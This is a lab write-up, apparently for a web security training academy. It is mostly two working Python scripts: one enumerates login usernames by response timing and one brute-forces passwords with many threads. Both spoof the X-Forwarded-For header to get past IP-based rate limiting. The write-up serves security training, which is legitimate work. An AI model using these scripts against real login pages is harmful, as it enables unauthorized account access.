import requests
import random
import time
import os
from tabulate import tabulate
 
url = "https://0aa50044042123c680e2675500260041.web-security-academy.net/login"
 
cookies = {"session": "YE9qNzilUya1Zf5AKAck6aFPIijORDZb"}
 
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "https://0aa50044042123c680e2675500260041.web-security-academy.net",
    "Referer": "https://0aa50044042123c680e2675500260041.web-security-academy.net/login",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-User": "?1",
    "Connection": "keep-alive",
    "Te": "trailers"
}
 
def random_ip():
    return ".".join(str(random.randint(0, 255)) for _ in range(4))
 
with open("users.txt", "r") as f:
    usernames = [line.strip() for line in f if line.strip()]
 
# Store results for table
table = []
 
for username in usernames:
    headers["X-Forwarded-For"] = random_ip()
    data = {"username": username, "password": "pasfefsevjfsebnviusejbvsekulbvseivyusevsekujvbesvisebvesiyvgsefguisebfiusefghseiufbsnevpiusebviseuvbesifgyuesfpviseubvs"}
 
    start = time.time()
    response = requests.post(url, headers=headers, cookies=cookies, data=data)
    elapsed_ms = int((time.time() - start) * 1000)
 
    table.append([headers["X-Forwarded-For"], username, f"{elapsed_ms} ms"])
 
    # Clear terminal and print table
    os.system("clear")  # use "cls" if on Windows
    print(tabulate(table, headers=["X-Forwarded-For", "Username", "Response Time"], tablefmt="grid"))

We had to change the X-Forwarded-For header for each request to bypass the IP block.

+-------------------+----------------+-----------------+
| 239.117.8.7       | ads            | 678 ms          |
+-------------------+----------------+-----------------+
| 141.190.119.16    | adserver       | 699 ms          |
+-------------------+----------------+-----------------+
| 195.26.178.65     | adsl           | 688 ms          |
+-------------------+----------------+-----------------+
| 116.52.64.211     | ae             | 1465 ms         |
+-------------------+----------------+-----------------+
| 126.239.143.145   | af             | 681 ms          |
+-------------------+----------------+-----------------+
| 228.37.213.184    | affiliate      | 712 ms          |
+-------------------+----------------+-----------------+
| 53.165.103.31     | affiliates     | 677 ms          |
+-------------------+----------------+-----------------+
| 163.249.124.242   | afiliados      | 692 ms          |
+-------------------+----------------+-----------------+
| 222.90.171.79     | ag             | 682 ms          |

User ae had a bit too much response time.

#!/usr/bin/env python3
import requests, random, time, os, sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
 
try:
    from tabulate import tabulate
    HAVE_TABULATE = True
except Exception:
    HAVE_TABULATE = False
 
URL = "https://0aa50044042123c680e2675500260041.web-security-academy.net/login"
COOKIES = {"session": "YE9qNzilUya1Zf5AKAck6aFPIijORDZb"}
BASE_HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "https://0aa50044042123c680e2675500260041.web-security-academy.net",
    "Referer": "https://0aa50044042123c680e2675500260041.web-security-academy.net/login",
}
USERS = ["ae"]
PASSWORDS_FILE = "passwords.txt"
FAIL_STRING = "Invalid username or password."
WORKERS = 25
TIMEOUT = 10
SLEEP_BETWEEN = 0.0
 
lock = Lock()
results = {}
progress = {"total": 0, "done": 0, "attempts": 0, "start": time.time()}
 
def random_ip():
    return ".".join(str(random.randint(0, 255)) for _ in range(4))
 
def clear():
    os.system("cls" if os.name == "nt" else "clear")
 
def load_passwords(path):
    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        return [l.strip() for l in f if l.strip()]
 
def print_table():
    clear()
    header = ["Username", "Status", "Password", "HTTP", "RT (ms)"]
    rows = []
    with lock:
        for u, info in results.items():
            rows.append([
                u,
                info.get("status", "not-tested"),
                info.get("password", "") or "",
                info.get("code", ""),
                f"{info.get('rt_ms','')}"
            ])
        total = progress["total"]
        done = progress["done"]
        attempts = progress["attempts"]
        elapsed = time.time() - progress["start"]
        summary = f"Total users: {total} | Done users: {done} | Attempts: {attempts} | Elapsed: {elapsed:.1f}s"
    if HAVE_TABULATE:
        print(tabulate(rows, headers=header, tablefmt="grid"))
    else:
        print(header)
        for r in rows:
            print(r)
    print(summary)
 
def attempt_login(username, password):
    headers = dict(BASE_HEADERS)
    headers["X-Forwarded-For"] = random_ip()
    data = {"username": username, "password": password}
    start = time.time()
    try:
        r = requests.post(URL, headers=headers, cookies=COOKIES, data=data, timeout=TIMEOUT)
        rt_ms = int((time.time() - start) * 1000)
        return r.status_code, r.text, headers["X-Forwarded-For"], rt_ms
    except Exception as e:
        rt_ms = int((time.time() - start) * 1000)
        return None, str(e), headers["X-Forwarded-For"], rt_ms
 
def worker_for_user(username, passwords):
    with lock:
        results.setdefault(username, {"status": "not-tested", "password": "", "code": "", "rt_ms": ""})
    for p in passwords:
        if results[username]["status"] == "found":
            break
        code, text, xff, rt = attempt_login(username, p)
        with lock:
            progress["attempts"] += 1
            if code is None:
                results[username].update({"status": "error", "password": p, "code": "", "rt_ms": rt})
            else:
                if FAIL_STRING not in text:
                    results[username].update({"status": "found", "password": p, "code": code, "rt_ms": rt})
                else:
                    results[username].update({"status": "testing", "password": p, "code": code, "rt_ms": rt})
        if results[username]["status"] == "found":
            break
        if SLEEP_BETWEEN:
            time.sleep(SLEEP_BETWEEN)
    with lock:
        progress["done"] += 1
 
def main():
    passwords = load_passwords(PASSWORDS_FILE)
    progress["total"] = len(USERS)
    for u in USERS:
        results[u] = {"status": "not-tested", "password": "", "code": "", "rt_ms": ""}
    executor = ThreadPoolExecutor(max_workers=WORKERS)
    futures = []
    for u in USERS:
        futures.append(executor.submit(worker_for_user, u, passwords))
    try:
        last_print = 0
        while any(f.running() for f in futures):
            now = time.time()
            if now - last_print >= 0.5:
                print_table()
                last_print = now
            time.sleep(0.05)
        for f in futures:
            f.result()
    except KeyboardInterrupt:
        pass
    print_table()
 
if __name__ == "__main__":
    main()

We then brute-forced the password and were able to log in and solve the lab.